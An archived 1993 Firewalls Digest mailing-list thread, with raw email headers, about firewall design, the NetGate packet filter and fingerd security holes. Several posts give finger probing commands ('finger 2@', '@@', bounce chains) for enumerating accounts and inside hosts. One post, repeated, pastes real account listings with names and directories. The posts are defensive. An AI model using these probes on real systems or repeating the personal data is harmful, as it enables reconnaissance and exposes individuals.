VERY hairy problem. There's a lot of sticky issues, of preventing spoofing and tapping, and so on. This is not an especially knotty problem for a firewall, since you will generally want to run your authentication server on the bastion host, and perhaps occassionally connect to it for administrative purposes from a single node "inside". mjr. ------------------------------ From: Ken Hardy Date: Mon, 13 Sep 1993 15:57:32 CDT Subject: Re: Logging devices (fwd) >Con: Operates as an active IP host and can be externally operated on. One of the papers which I found through follwing this group describes a monitoring sytem in which the transmit pin has been cut (using AUI for the net interface?). Such a system can log to its heart's (or disks') content, but would be hard or impossible to compromise. I cannot think of anything that would not require a two-way conversation at the IP level. Sorry, I cannot find which paper. I thought one of Bill Cheswicks, but I don't see it in a quick scan through what I have. ------------------------------ From: smb@research.att.com Date: Mon, 13 Sep 93 19:07:19 EDT Subject: Re: Logging devices (fwd) >Con: Operates as an active IP host and can be externally operated on. One of the papers which I found through follwing this group describes monitoring sytem in which the transmit pin has been cut (using AUI for the net interface?). Such a system can log to its heart's (or disks') content, but would be hard or impossible to compromise. I cannot think of anything that would not require a two-way conversation at the IP level. Sorry, I cannot find which paper. I thought one of Bill Cheswicks, but I don't see it in a quick scan through what I have. It's in ``There Be Dragons'', by me. And I can think of a few attacks to mount, but they're all fairly difficult. --Steve Bellovin ------------------------------ End of Firewalls Digest V2 #168 ******************************* To subscribe to Firewalls-Digest, send the command: subscribe firewalls-digest in the body of a message to "Majordomo@GreatCircle.COM". If you want to subscribe something other than the account the mail is coming from, such as a local redistribution list, then append that address to the "subscribe" command; for example, to subscribe "local-firewalls": subscribe firewalls-digest local-firewalls@your.domain.net A non-digest (direct mail) version of this list is also available; to subscribe to that instead, replace all instances of "firewalls-digest" in the commands above with "firewalls". Compressed back issues are available for anonymous FTP from FTP.GreatCircle.COM, in pub/firewalls/digest/vNN.nMMM.Z (where "NN" is the volume number, and "MMM" is the issue number). From Firewalls-Owner Wed Sep 15 00:45:58 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11004; Wed, 15 Sep 93 00:45:58 GMT Received: from mailgate.Cadence.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA10997; Tue, 14 Sep 93 17:45:47 PDT Received: from cds1004 by mailgate.Cadence.COM (5.65c/SMI-4.1) id AA25174; Tue, 14 Sep 1993 17:47:09 -0700 Received: from [158.140.32.237] by cds1004 (5.65+/1.5) id AA22697; Tue, 14 Sep 93 17:47:23 -0700 Date: Tue, 14 Sep 93 17:47:23 -0700 Message-Id: <9309150047.AA22697@cds1004> To: firewalls@GreatCircle.COM From: alastair@Cadence.COM (Alastair Young) X-Sender: alastair@cds1004 Subject: Smallworks NetGate V1.2 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi, We are using Smallworks Netgate V1.2, a Sun based packet filter. We have been running NetGate for nearly a year now and have been using it on our Internet link since January (ish) and we like it a lot. I'm interested in hearing from any other NetGate users out there of their experiences with the product. Also, a little bit of product news (Smallworks didn't post this so I will): V1.2 has a new LOG facility. This allows logging to syslog from selected packet dropping rules. Unfortunately there is a bug and the log shows the dropped packet's source as being the same as its destination (I think they both use the destination address). We have a source license and I have supplied Smallworks with a patch, so you should be able to get the fix from them on request. Don't ask me, I won't give it to you. I have also kloojed in ICMP filtering by type and code, which we use to drop ICMP redirects while passing other ICMP. Smallworks also have this code so hopefully they will include this in the next release, or perhaps even with the LOG fix. Is passing ICMP a security risk? We found we had connectivity problems when we suppressed it. Also, and this is probably a FAQ, fingerd paranoia went high after the Internet worm incident, but the hole that exploited has now been plugged in all current vendor OS releases. Is there a list of which version of each vendor's OS this was plugged? Are there other "known holes" in current fingerd implementations? We have almost every vendor's hardware somewhere on our net, and we are so widespread geographically that it is difficult to tell what is out there. I want to do some intelligent housecleaning before we consider enabling finger access from the net. Al --------------------------------------------------------------------------- Alastair Young _ Ariel NH Cadence Design Systems, Information Services )/___ _ Red Hunter 555 River Oaks Parkway, 4B1 __/(___)_*##/c San Jose CA 95134 Fax: (408)894-3487 / /\\|| \ / \ Brakes'n'lites alastair@cadence.com (408)428-5278 \__/ ----'\__/ novel eh? --------------------------------------------------------------------------- These statements and opinions are mine, not those of Cadence Design Systems From Firewalls-Owner Wed Sep 15 03:50:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11399; Wed, 15 Sep 93 03:50:33 GMT Received: from eden-valley.aaii.oz.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11392; Tue, 14 Sep 93 20:50:21 PDT Received: from localhost.aaii.oz.AU by eden-valley.aaii.oz.AU with SMTP (5.65c/SMI-4.0/AAII) id AA06405; Wed, 15 Sep 1993 12:40:00 +1000 Message-Id: <199309150240.AA06405@eden-valley.aaii.oz.AU> To: alastair@cadence.com (Alastair Young) Cc: firewalls@GreatCircle.COM Subject: fingerd... In-Reply-To: Your message of "Tue, 14 Sep 1993 17:47:23 MST." <9309150047.AA22697@cds1004> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 15 Sep 1993 12:39:59 +1000 From: Anthony Baxter Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk You write: > vendor's OS this was plugged? Are there other "known holes" in current > fingerd implementations? We have almost every vendor's hardware somewhere > on our net, and we are so widespread geographically that it is difficult to > tell what is out there. I want to do some intelligent housecleaning before > we consider enabling finger access from the net. Dont know how you could find out for sure, but you could look at the binary for calls to 'gets'. That was the hole, from memory. Another problem is ultrix fingerd, you can do 'finger @@machine' to list all users in the passwd file. Anthony From Firewalls-Owner Wed Sep 15 04:46:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11607; Wed, 15 Sep 93 04:46:06 GMT Received: from netcom3.netcom.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA11600; Tue, 14 Sep 93 21:45:57 PDT Received: by netcom3.netcom.com (5.65/SMI-4.1/Netcom) id AA19437; Tue, 14 Sep 93 21:49:06 -0700 Date: Tue, 14 Sep 93 21:49:06 -0700 From: pascal@netcom.com (The Ghost In The Machine) Message-Id: <9309150449.AA19437@netcom3.netcom.com> To: Firewalls@GreatCircle.COM Subject: Preferred Platforms, Heresies, Synthesis Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "From: Dorian Deane Date: Thu, 9 Sep 93 14:43:46 -0700 Subject: OS question (2nd try) "The primary question is, for an exposed system, such as a firewall, anonymous FTP server, WAIS server, etc., is any one platform better than another from a security perspective?" Even an 'exposed' system is going to be protected, hopefully, by at least one piece of packet-routing hardware, which will have only the most trivial of operating systems. Considerable advantage is accrued by : (a) combining dissimilar routers, sequentially, and (b) seeing that those routers have very simple OSes. So, to answer your question, I don't think security lies in a "best" operating system, I believe it lies in layered combinations of many different operating systems. To expand somewhat ... The problem of maintaining a firewall/gateway has been compared to other security-related metaphors, related to locking and doorways. Closer examination of the actual architecture of the problem reveals a strong similarity, in fact, to the old problem of lock design ... transposed into a space-age equivalent, but still, at its heart, a form of lock-picking. Consider the following illustrations : [1] tumblers 1 2 3 4 5 6 7 ______ +--+--+--+--+--+--+--+ / \ | | | | | | | | | key --------| | | | | | | | | - - - - | | | | | | | | \______/\/--\_/\| | | | | | | | | | | | | | | | +--+--+--+--+--+--+--+ [2] +-----+ +-----+ ~ Internet ~ ===+ rtr +==+ svr +=== ( organizational network ) +-----+ +-----+ I humbly submit that both problems can be regarded as basically of a sequential nature, where each module - technically referred to as a "tumbler" in [1], and technically referred to as a "router" in [2] - represents a problem which must be solved in order to progress further into the ( basically linear ) security mechanism, in search of authorization or additional information by which to gain access. Viewed in this perspective, each brand - or perhaps each major revision of each brand - of router, must be regarded as a separate "tumbler" in the "lock" being constructed. In this perspective, having two or more routers that are architecturally and configurationally identical, in a row, is not recommended ... it is roughly equivalent to having a "key" with regular and predictable surfaces. Unpredictability is one of the 'keys' here, if you'll permit me a small pun. I do not believe that it is appropriate to assume that any given version of an operating system, platform, or piece of network hardware should be assumed to be free of bugs or trap doors. Ever. I also believe that this knowledge is as likely to propogate, as other forms of counter-security do, amongst the cogniscienti, and it is a matter of time before someone writes these routines into a nice little package that walks through these doorways ( be they deliberate or accidental ) and does a Morris on one's network(s) ... to coin a phrase. When this happens - not if, but when - the only people whose networks are left undisturbed, will be those whose networks were protected by what one might, in these enlightened days, suppose to be a degree of security that borders on the fringes of an obsession. ( I expect that those with source code and hand-compiled daemons might be likely to fare as well, but, realistically, they may be in the majority of the contributors, but are in the minority of the readers here. ) Also, it's worth noting that in the illustration [2], what is regarded as a state-of-the-art secure firewall, actually evaluates to no more than a lock with two tumblers. We are, ladies and gentlemen, in the medieval ages of network security ... and the opposition has Space Age lockpicks that operate at millisecond speeds. Remember, the same night-time cracker with sufficient expertise to probe your gateway at night, may well write PROM monitors in FORTH or assembler for a router company during the day ... or did before they were laid off. ( Flames and protestations of innocence to /dev/null. I'm a realist ... besides, how many managers do you know whom read FORTH or assembler ? ) "I'm curious to hear in particular about the most popular ones: IBM's AIX (on RS/6000's), SunOS 4.1.1 and SOLARIS 2.0, HP's HP-UX 9.x, (and while I'm at it, let me add 386BSD just for personal curiosity)." I'd like to hear more about 386BSD, too. I think one of the strengths in the case of 386BSD is *total* control over the source code. Still some loopholes, but with a public domain operating system, the distribution's compiler and assembler would be subject to scrutiny to the bit level, and no back door would last more than a few months. Once a reliable release is acquired, it could be written onto a CDROM and provide a pretty secure boot image and set of operating system binaries. That might do more to make the Internet a safe place to compute, than everything else together. -- richard Truth : the most deadly weapon known to civilization. Possession forbidden by employers, governments, and authorities, across the known universe. Violation of this regulation punishable by death. richard childers pascal@netcom.com From Firewalls-Owner Wed Sep 15 06:21:17 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12076; Wed, 15 Sep 93 06:21:17 GMT Received: from pawnee.telecom.ksu.edu (gateway.telecom.ksu.edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12069; Tue, 14 Sep 93 23:21:09 PDT Received: from localhost by pawnee.telecom.ksu.edu (8.3) id BAA08973; Wed, 15 Sep 1993 01:03:09 -0500 From: jmc@telecom.ksu.edu (James Chacon) Message-Id: <199309150603.BAA08973@pawnee.telecom.ksu.edu> Subject: Re: fingerd... To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 1993 01:03:07 -0500 (CDT) In-Reply-To: <199309150240.AA06405@eden-valley.aaii.oz.AU> from "Anthony Baxter" at Sep 15, 93 12:39:59 pm X-Mailer: ELM [version 2.4 PL23alpha] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1747 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > >You write: >> vendor's OS this was plugged? Are there other "known holes" in current >> fingerd implementations? We have almost every vendor's hardware somewhere >> on our net, and we are so widespread geographically that it is difficult to >> tell what is out there. I want to do some intelligent housecleaning before >> we consider enabling finger access from the net. > >Dont know how you could find out for sure, but you could look at the binary >for calls to 'gets'. That was the hole, from memory. > >Another problem is ultrix fingerd, you can do 'finger @@machine' to list all >users in the passwd file. > The known hole was in using gets to grab input. There are a couple other bugs I know of you may want to be aware of: 1. At under Sunos 4.1.x and probably before fingering something like this would show you a varing amount of people from the password file: finger 2@ Under my system here which has ~50 accounts (and shrinking) I get 10 fingers. but doing that to the main campus server which ~5000 accounts gives me 316 accounts. Seems the matching routines give back too much when presented with numbers at the beginning. 2. Finger allows bounces to work off of it: i.e. finger @host1@host2. This can be used to finger at address's inside of a firewall that doesn't think about it. finger @@ can allow someone to probe for valid machines inside a firewall. I have source from people here that will disallow the @ bouncing, along with disallowing fingers from nobody. It also has patched to output who was being fingered, so you can see if someone in particular is being probed for. James (Someone who used to have way too much time on his hands) From Firewalls-Owner Wed Sep 15 07:09:20 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12321; Wed, 15 Sep 93 07:09:20 GMT Received: from awadi.com.AU ([150.207.2.65]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12314; Wed, 15 Sep 93 00:08:22 PDT Received: from mulga.awadi ([150.207.1.60]) by awadi.com.AU (4.1/SMI-4.1) id AA15290; Wed, 15 Sep 93 16:39:30 CST Received: from mallee.awadi by mulga.awadi (4.1/SMI-4.1) id AA26761; Wed, 15 Sep 93 16:38:22 CST From: blymn@mulga.awadi.com.AU (Brett Lymn) Message-Id: <9309150708.AA26761@mulga.awadi> Subject: Re: fingerd... To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 1993 16:38:07 +0930 (CST) X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 1426 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk According to James Chacon: > >The known hole was in using gets to grab input. There are a couple other bugs >I know of you may want to be aware of: > >1. At under Sunos 4.1.x and probably before fingering something like this > would show you a varing amount of people from the password file: > > finger 2@ > > Under my system here which has ~50 accounts (and shrinking) I get 10 > fingers. but doing that to the main campus server which ~5000 accounts > gives me 316 accounts. Seems the matching routines give back too much > when presented with numbers at the beginning. > Interesting, this works on both 4.1.3 and Solaris 2.2. >2. Finger allows bounces to work off of it: i.e. finger @host1@host2. This > can be used to finger at address's inside of a firewall that doesn't > think about it. > If you remove the nobody account from the firewall machine then finger cannot be used to bounce probes into the network since inetd cannot find a valid uid to run fingerd as, well at least under SunOS 4.1.3 this is so. -- Brett Lymn, Computer Systems Administrator, AWA Defence Industries =============================================================================== "Where a calculator on the ENIAC is equipped with 18,000 vaccuum tubes and weighs 30 tons, computers in the future may have only 1,000 vaccuum tubes and perhaps weigh 1 1/2 tons." -- Popular Mechanics, March 1949 From Firewalls-Owner Wed Sep 15 09:32:30 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12623; Wed, 15 Sep 93 09:32:30 GMT Received: from pawnee.telecom.ksu.edu (gateway.telecom.ksu.edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12616; Wed, 15 Sep 93 02:32:22 PDT Received: from localhost by pawnee.telecom.ksu.edu (8.3) id EAA09758; Wed, 15 Sep 1993 04:34:27 -0500 From: jmc@telecom.ksu.edu (James Chacon) Message-Id: <199309150934.EAA09758@pawnee.telecom.ksu.edu> Subject: Re: fingerd... To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 1993 04:34:26 -0500 (CDT) In-Reply-To: <9309150708.AA26761@mulga.awadi> from "Brett Lymn" at Sep 15, 93 04:38:07 pm X-Mailer: ELM [version 2.4 PL23alpha] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1774 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>1. At under Sunos 4.1.x and probably before fingering something like this >> would show you a varing amount of people from the password file: >> >> finger 2@ >> >> Under my system here which has ~50 accounts (and shrinking) I get 10 >> fingers. but doing that to the main campus server which ~5000 accounts >> gives me 316 accounts. Seems the matching routines give back too much >> when presented with numbers at the beginning. >> > >Interesting, this works on both 4.1.3 and Solaris 2.2. > Hmm, on the Solaris machines that are inside our firewall this doesn't work. Both the 2.2 and 2.1 ones both return me: Login Name TTY Idle When Where 2 ??? I am running nis+ on them, so that may make the difference here. >>2. Finger allows bounces to work off of it: i.e. finger @host1@host2. This >> can be used to finger at address's inside of a firewall that doesn't >> think about it. >> > >If you remove the nobody account from the firewall machine then finger >cannot be used to bounce probes into the network since inetd cannot >find a valid uid to run fingerd as, well at least under SunOS 4.1.3 >this is so. If you remove the nobody account fingerd can't run at all. i.e. it won't bounce, or even run from the network connection: f @machine [machine] machine% It will run locally on the firewall, since that doesn't invoke fingerd. Otherwise it just doesn't run. I don't see the point in this. I want the ability to still run fingerd, yet not have the known (and semi-known) problems happen with it. So, you have to leave an account for inetd to run non-priveldged services you want to allow. Yet, then you have to make sure those services can't be used to get inside. James From Firewalls-Owner Wed Sep 15 03:37:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12710; Wed, 15 Sep 93 10:16:43 GMT Received: from awadi.com.AU (myall.awadi.com.AU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12699; Wed, 15 Sep 93 03:14:40 PDT Received: from mulga.awadi ([150.207.1.60]) by awadi.com.AU (4.1/SMI-4.1) id AA17870; Wed, 15 Sep 93 19:46:11 CST Received: from mallee.awadi by mulga.awadi (4.1/SMI-4.1) id AA27259; Wed, 15 Sep 93 19:45:02 CST From: blymn@mulga.awadi.com.AU (Brett Lymn) Message-Id: <9309151015.AA27259@mulga.awadi> Subject: Re: fingerd... To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 1993 19:44:47 +0930 (CST) X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 2441 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk According to James Chacon: >>Interesting, this works on both 4.1.3 and Solaris 2.2. >> > >Hmm, on the Solaris machines that are inside our firewall this doesn't work. >Both the 2.2 and 2.1 ones both return me: > >Login Name TTY Idle When Where >2 ??? > >I am running nis+ on them, so that may make the difference here. > That could be it, we are running NIS. > >If you remove the nobody account fingerd can't run at all. i.e. it won't >bounce, or even run from the network connection: > Yup, I am quite happy with that. >It will run locally on the firewall, since that doesn't invoke fingerd. >Otherwise it just doesn't run. I don't see the point in this. I want the ^ >ability to still run fingerd, yet not have the known (and semi-known) problems >happen with it. This is the operative pro-noun. Most of my users (upwards of 90%) would not know a cli if they saw one. They are not interested in finger, telnet or any other services that most of us take for granted, they are only interested in running their applications. The small group of people that need such access know how to get it so I find little problems in the way things are set up. > So, you have to leave an account for inetd to run >non-priveldged services you want to allow. Yet, then you have to make sure >those services can't be used to get inside. > Again only if you want those services. I did not like the idea of inetd running processes on behalf of other people on my gateway. Sure I have tcp_wrappers on all the things that *I* think needs them but what if I missed one? It may sound crazy but it works, if the account does not exist it cannot be misused and since the removal of that account has not caused me any problems. BTW if you have tcp_wrappers on your fingerd and you perform a reverse finger on service denials and your gateway is NOT in the access.allow file then try doing finger @localhost@gateway_machine and see what happens :-) -- Brett Lymn, Computer Systems Administrator, AWA Defence Industries =============================================================================== "Where a calculator on the ENIAC is equipped with 18,000 vaccuum tubes and weighs 30 tons, computers in the future may have only 1,000 vaccuum tubes and perhaps weigh 1 1/2 tons." -- Popular Mechanics, March 1949 From Firewalls-Owner Wed Sep 15 12:31:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12980; Wed, 15 Sep 93 12:31:44 GMT Received: from concorde.inria.fr by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12973; Wed, 15 Sep 93 05:31:29 PDT Received: from chacom.inria.fr by concorde.inria.fr; Wed, 15 Sep 1993 14:34:11 +0200 Received: by chacom.inria.fr (4.1/client.23-May-91) id AA24080; Wed, 15 Sep 93 14:34:10 +0200 Date: Wed, 15 Sep 93 14:34:10 +0200 From: Philippe.Deschamp@inria.fr Message-Id: <9309151234.AA24080@chacom.inria.fr> Organization: INRIA, BP 105, F-78153 Le Chesnay Cedex, France tel. +33(1)39-63-56-05, telex 697033 F, FAX +33(1)39-63-53-30 To: jmc@telecom.ksu.edu Cc: firewalls@GreatCircle.COM In-Reply-To: James Chacon's message of Wed, 15 Sep 1993 01:03:07 -0500 (CDT) <199309150603.BAA08973@pawnee.telecom.ksu.edu> Subject: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> "JC" == James Chacon : JC> 1. At under Sunos 4.1.x and probably before fingering something like this JC> would show you a varing amount of people from the password file: JC> finger 2@ JC> Under my system here which has ~50 accounts (and shrinking) I get 10 JC> fingers. but doing that to the main campus server which ~5000 accounts JC> gives me 316 accounts. Seems the matching routines give back too much JC> when presented with numbers at the beginning. Et il n'y a pas que sur les Sun ! Sur les Pyramid aussi :-) [14:29]@Chacom.INRIA.Fr% [margaux.inria.fr] Login name: bar In real life: pascal bar (stagiaire chorus) Directory: /export4/chorus/bar Shell: /bin/false Last login Mon Oct 26, 1992 on ttypb No Plan. Login name: bnguyen In real life: nguyen bertrand Directory: /home/margaux/icsla/bnguyen Shell: /bin/false Never logged in. No Plan. Login name: bouchon In real life: bouchenez jean-louis Directory: /home/margaux/guest/bouchon Shell: /bin/false Never logged in. No Plan. Login name: chambre In real life: Pascal Chambre Directory: /home/tobago/chloe/chambre Shell: /bin/tcsh Last login Tue Sep 14 15:04 on ttyq7 No Plan. Login name: chanut In real life: chanut helene simone Directory: /home/margaux/guest/chanut Never logged in. No Plan. Login name: chieze In real life: chieze jean-paul Directory: /home/margaux/guest1/chieze Shell: /bin/tcsh Last login Wed Aug 25 11:39 on ttyq8 No Plan. Login name: diaz In real life: diaz daniel Directory: /home/tobago/chloe/diaz Shell: /bin/tcsh Last login Mon Sep 6 14:43 on ttyre Plan: Daniel Diaz Projet : ChLoE (axe Programmation en Logique) Batiment : 8 Bureau : 830 No Poste : 5708 e-mail : diaz@margaux.inria.fr Daniel.Diaz@inria.fr Login name: dore In real life: dore giovanna maria Directory: /home/margaux/chloe/dore Shell: /bin/tcsh Last login Mon Jan 18, 1993 on ttyq3 No Plan. Login name: ducrot In real life: ducrot andre Directory: /home/margaux/guest/ducrot Shell: /bin/tcsh Last login Sat Jan 16, 1993 on ttyq3 No Plan. Login name: eddbali In real life: ed-dbali abdelali Directory: /home/margaux/chloe/eddbali Shell: /bin/tcsh Last login Mon Jun 21 16:10 on ttyq3 No Plan. Login name: fdugast In real life: dugast francoise Directory: /home/margaux/guest/fdugast Shell: /bin/csh Last login Tue Sep 14 15:01 on ttyq7 No Plan. Login name: galleri In real life: galleri xavier Directory: /export4/chorus/galleri Shell: /bin/false Last login Tue Nov 3, 1992 on ttys5 No Plan. Login name: gremont In real life: gremont olivier guy Directory: /home/margaux/guest/gremont Shell: /bin/false Never logged in. No Plan. Login name: habert In real life: sabine habert Directory: /home/margaux/guest1/habert Shell: /bin/false Never logged in. No Plan. Login name: henning In real life: christiansen henning Directory: /home/margaux/chloe/henning Shell: /bin/false Never logged in. No Plan. Login name: jd In real life: Joelle Despeyroux Sophia Directory: /home/margaux/guest2/jd Shell: /bin/false Never logged in. No Plan. Login name: laforgue In real life: laforgue pierre Directory: /home/margaux/guest/laforgue Shell: /bin/tcsh Last login Mon Jan 25, 1993 on ttysc No Plan. Login name: lallouet In real life: lallouet arnaud Directory: /home/margaux/chloe/lallouet Shell: /bin/tcsh Last login Thu Jul 15 17:34 on ttyq9 No Plan. Login name: langlois In real life: langlois sylvain robert Directory: /home/margaux/guest/langlois Shell: /bin/false Never logged in. No Plan. Login name: msuarez In real life: suarez miguel Directory: /home/beaune/chloe/msuarez Shell: /bin/false Last login Wed Dec 2, 1992 on ttypa No Plan. Login name: pgachet In real life: gachet pierrick (atelier IRISA) Directory: /home/margaux/guest1/pgachet Shell: /bin/false Never logged in. No Plan. Login name: planes In real life: planes martine jackie Directory: /home/margaux/guest1/planes Shell: /bin/tcsh Last login Wed Jun 16 14:55 on ttyr5 No Plan. Login name: poirot In real life: poirot didier (CHORUS) Directory: /home/margaux/guest1/poirot Shell: /bin/false Never logged in. No Plan. Login name: rogado In real life: quintino-rogado jose Directory: /home/margaux/guest1/rogado Shell: /bin/false Never logged in. No Plan. Login name: sacavini In real life: saccavini luc Directory: /home/margaux/guest/sacavini Shell: /bin/tcsh Last login Thu May 6 16:23 on ttys4 No Plan. Login name: schmitt In real life: schmitt denise Directory: /home/margaux/guest1/schmitt Shell: /bin/csh Last login Fri Jun 18 15:46 on ttys3 No Plan. Login name: shapiro In real life: shapiro marc jed Directory: /home/margaux/guest1/shapiro Shell: /bin/tcsh Last login Mon Jan 4, 1993 on ttyq1 No Plan. Login name: vassout In real life: vassout pierre francois Directory: /home/margaux/guest2/vassout Shell: /bin/tcsh Last login Mon Jun 14 17:35 on ttyp7 No Plan. Login name: vaysseix In real life: vaysseix guy Directory: /home/margaux/guest1/vaysseix Last login Tue Sep 14 18:49 on ttyp7 No Plan. Login name: yampolsk In real life: yampolsky franck albert Directory: /home/margaux/guest1/yampolsk Shell: /bin/false Never logged in. No Plan. Login name: yampolski In real life: yampolsky franck albert Directory: /home/margaux/guest1/yampolsk Shell: /bin/false Never logged in. No Plan. From Firewalls-Owner Wed Sep 15 14:33:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13260; Wed, 15 Sep 93 14:33:50 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13248; Wed, 15 Sep 93 07:33:22 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA21605; Wed, 15 Sep 93 09:36:23 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA11821; Wed, 15 Sep 93 09:35:36 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA09495; Wed, 15 Sep 93 09:35:32 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA03765; Wed, 15 Sep 93 16:38:53+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA09487; Wed, 15 Sep 93 09:35:27 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA19749 for firewalls; Wed, 15 Sep 93 08:49:52 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA21578; Wed, 15 Sep 93 08:45:35 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12980; Wed, 15 Sep 93 12:31:44 GMT Received: from concorde.inria.fr by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA12973; Wed, 15 Sep 93 05:31:29 PDT Received: from chacom.inria.fr by concorde.inria.fr; Wed, 15 Sep 1993 14:34:11 +0200 Received: by chacom.inria.fr (4.1/client.23-May-91) id AA24080; Wed, 15 Sep 93 14:34:10 +0200 Date: Wed, 15 Sep 93 14:34:10 +0200 From: Philippe.Deschamp@inria.fr Message-Id: <9309151234.AA24080@chacom.inria.fr> Organization: INRIA, BP 105, F-78153 Le Chesnay Cedex, France tel. +33(1)39-63-56-05, telex 697033 F, FAX +33(1)39-63-53-30 To: jmc@telecom.ksu.edu Cc: firewalls@GreatCircle.COM In-Reply-To: James Chacon's message of Wed, 15 Sep 1993 01:03:07 -0500 (CDT) <199309150603.BAA08973@pawnee.telecom.ksu.edu> Subject: fingerd... Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >>>>> "JC" == James Chacon : JC> 1. At under Sunos 4.1.x and probably before fingering something like this JC> would show you a varing amount of people from the password file: JC> finger 2@ JC> Under my system here which has ~50 accounts (and shrinking) I get 10 JC> fingers. but doing that to the main campus server which ~5000 accounts JC> gives me 316 accounts. Seems the matching routines give back too much JC> when presented with numbers at the beginning. Et il n'y a pas que sur les Sun ! Sur les Pyramid aussi :-) [14:29]@Chacom.INRIA.Fr% [margaux.inria.fr] Login name: bar In real life: pascal bar (stagiaire chorus) Directory: /export4/chorus/bar Shell: /bin/false Last login Mon Oct 26, 1992 on ttypb No Plan. Login name: bnguyen In real life: nguyen bertrand Directory: /home/margaux/icsla/bnguyen Shell: /bin/false Never logged in. No Plan. Login name: bouchon In real life: bouchenez jean-louis Directory: /home/margaux/guest/bouchon Shell: /bin/false Never logged in. No Plan. Login name: chambre In real life: Pascal Chambre Directory: /home/tobago/chloe/chambre Shell: /bin/tcsh Last login Tue Sep 14 15:04 on ttyq7 No Plan. Login name: chanut In real life: chanut helene simone Directory: /home/margaux/guest/chanut Never logged in. No Plan. Login name: chieze In real life: chieze jean-paul Directory: /home/margaux/guest1/chieze Shell: /bin/tcsh Last login Wed Aug 25 11:39 on ttyq8 No Plan. Login name: diaz In real life: diaz daniel Directory: /home/tobago/chloe/diaz Shell: /bin/tcsh Last login Mon Sep 6 14:43 on ttyre Plan: Daniel Diaz Projet : ChLoE (axe Programmation en Logique) Batiment : 8 Bureau : 830 No Poste : 5708 e-mail : diaz@margaux.inria.fr Daniel.Diaz@inria.fr Login name: dore In real life: dore giovanna maria Directory: /home/margaux/chloe/dore Shell: /bin/tcsh Last login Mon Jan 18, 1993 on ttyq3 No Plan. Login name: ducrot In real life: ducrot andre Directory: /home/margaux/guest/ducrot Shell: /bin/tcsh Last login Sat Jan 16, 1993 on ttyq3 No Plan. Login name: eddbali In real life: ed-dbali abdelali Directory: /home/margaux/chloe/eddbali Shell: /bin/tcsh Last login Mon Jun 21 16:10 on ttyq3 No Plan. Login name: fdugast In real life: dugast francoise Directory: /home/margaux/guest/fdugast Shell: /bin/csh Last login Tue Sep 14 15:01 on ttyq7 No Plan. Login name: galleri In real life: galleri xavier Directory: /export4/chorus/galleri Shell: /bin/false Last login Tue Nov 3, 1992 on ttys5 No Plan. Login name: gremont In real life: gremont olivier guy Directory: /home/margaux/guest/gremont Shell: /bin/false Never logged in. No Plan. Login name: habert In real life: sabine habert Directory: /home/margaux/guest1/habert Shell: /bin/false Never logged in. No Plan. Login name: henning In real life: christiansen henning Directory: /home/margaux/chloe/henning Shell: /bin/false Never logged in. No Plan. Login name: jd In real life: Joelle Despeyroux Sophia Directory: /home/margaux/guest2/jd Shell: /bin/false Never logged in. No Plan. Login name: laforgue In real life: laforgue pierre Directory: /home/margaux/guest/laforgue Shell: 